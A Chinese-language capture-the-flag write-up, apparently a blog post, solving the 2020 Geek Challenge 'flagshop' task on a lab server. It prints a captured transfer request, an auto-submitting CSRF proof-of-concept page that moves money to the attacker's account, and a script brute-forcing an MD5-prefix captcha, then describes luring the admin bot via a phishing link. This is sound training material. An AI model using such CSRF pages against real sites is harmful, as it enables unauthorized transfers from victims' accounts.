极客大挑战 2020 Roamphp6-flagshop

网络安全·CTF · 2023-12-13 · 797 人浏览

信息收集

访问题目地址,随便注册一个账户,进行收集信息。
注意到报告界面提到账户出现了部门的转账记录,猜测存在CSRF漏洞,进行实验验证。
Pasted image 20231213153348.png

注册两个账户a、b,由a向b转账,观察转账报文。

POST /transfer.php HTTP/1.1
Host: 5542a522-d42b-45f5-a55b-0cb2caf84f34.node4.buuoj.cn:81
Content-Length: 330
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycbs6qfHEFgXXAlbr
Cookie: PHPSESSID=4dc50fad5f8cfea10217f51d7c06cc15
Connection: close

------WebKitFormBoundarycbs6qfHEFgXXAlbr
Content-Disposition: form-data; name="target"

b
------WebKitFormBoundarycbs6qfHEFgXXAlbr
Content-Disposition: form-data; name="money"

1
------WebKitFormBoundarycbs6qfHEFgXXAlbr
Content-Disposition: form-data; name="messages"

test
------WebKitFormBoundarycbs6qfHEFgXXAlbr--

注意到转账流程没有任何加密措施以及验证措施,只要触发POST请求即可发送报文。

继续收集信息,注意到报告中提到:

投诉:Longlone最近不怎么看我报告中的链接了
<回复> 投诉:我会好好查看你们提交的报告

猜测可能存在XSS漏洞。

解题

使用BurpSuite生成CSRF POC,并修改对象为a:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://5542a522-d42b-45f5-a55b-0cb2caf84f34.node4.buuoj.cn:81/transfer.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="target" value="a" />
      <input type="hidden" name="money" value="10000000000" />
      <input type="hidden" name="messages" value="test" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

提交报告需要验证码,使用Python脚本进行爆破:

import hashlib
import random
import string

def generateRandomString(length):
    characters = string.ascii_letters + string.digits
    return ''.join(random.choice(characters) for i in range(length))

while True:
    re = generateRandomString(10)
    if (hashlib.md5(re.encode()).hexdigest()[:5] == '4671a'):
        print(re, hashlib.md5(re.encode()).hexdigest())

搭建钓鱼服务器,将POC放入index.html,使用本地账户进行测试。
Pasted image 20231213160947.png
成功。

将链接放入报告中后获取大量钱,直接购买Flag。

CSRF 797 Views
本站已在互联网运行了 Theme Jasmine by Kent Liao